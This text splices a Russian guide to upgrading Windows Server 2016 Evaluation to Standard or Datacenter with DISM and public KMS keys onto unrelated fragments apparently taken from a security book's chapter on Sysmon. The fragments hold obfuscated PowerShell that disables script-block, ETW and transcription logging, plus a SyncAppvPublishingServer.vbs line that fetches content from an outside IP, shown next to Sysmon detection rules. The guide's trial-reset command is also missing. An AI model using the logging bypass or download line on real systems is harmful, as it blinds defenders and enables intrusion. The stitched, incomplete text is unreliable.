Версия для оценки Windows Server 2016 Evaluation Edition доступна для скачивания с официального сайта Microsoft. Версия имеет полный функционал и нормально работает в течении триального периода (180 дней).Беда заключается в том, что по истечении триального периода сервер пишет в логи:
Такая ситуация имеет два варианта решения: Вариант 1 (не правильный) — сбросить триальный период. Вариант 2 (правильный) — обновить до нормальной версии и активировать через KMS-сервер или с помощью MAK/Retail ключа.
Вариант 1. Сброс триала.
Запускаем Powershell и вводим команду:
Дожидаемся сообщения “Command completed successfully” и перезагружаем сервер.
Вариант 2. Upgrade до Standard/Datacenter.
Проверяем что стоит Evaluation Edition.
DISM /online /Get-CurrentEdition
Должно быть: Current Edition ServerStandardEval.
Смотрим список доступных версий
DISM /online /Get-TargetEditions
Выбираем нужную версию и выполняем апгдейд с помощью общедоступного KMS-ключа.
Для версии Standard:
dism /online /set-edition:ServerStandard /productkey:WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY /accepteula
Для версии Datacenter:
DISM /online /Set-Edition:ServerDatacenter /ProductKey:CB7KF-BWN84-R7R2Y-793K2-8XDDG /AcceptEula
Далее можно активировать операционку через KMS-сервер либо MAK/Retail ключом.
Sysmon64.exe -accepteula -i sysmonconfig-export.xml

Figure 2.11 – Sysmon installation

Figure 2.12 – Group Policies to enable PowerShell Logging
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetF`ie`ld"('cachedGro'+'upPolicySettings', 'N'+'onPu'+'blic,Static')
If ($GroupPolicyField) {
$GroupPolicyCache = $GroupPolicyField.GetValue($null)
Write-Host("Before")
$GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] | fl
If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
$val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()
$val.Add('EnableScriptB'+'lockLogging', 0)
$val.Add('EnableScriptB'+'lockInvocationLogging', 0)
$GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val
Write-Host("After")
$GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] | fl
}
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)Set-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0
<TargetObject name="PowerShell Logging Changes" condition="begin with">HKLM\Software\Policies\Microsoft\Windows\PowerShell\</TargetObject>
We will get an event that could potentially trigger

Figure 2.14 – Sysmon detects registry change
SyncAppvPublishingServer.vbs "br; iwr http://192.168.13.152:443/a"
Sysmon will detect activity, but not prevent

Figure 2.15 – Suspicious outbound connection detected by Sysmon
- Sysmon
- Access/alter configuration
- Process injection




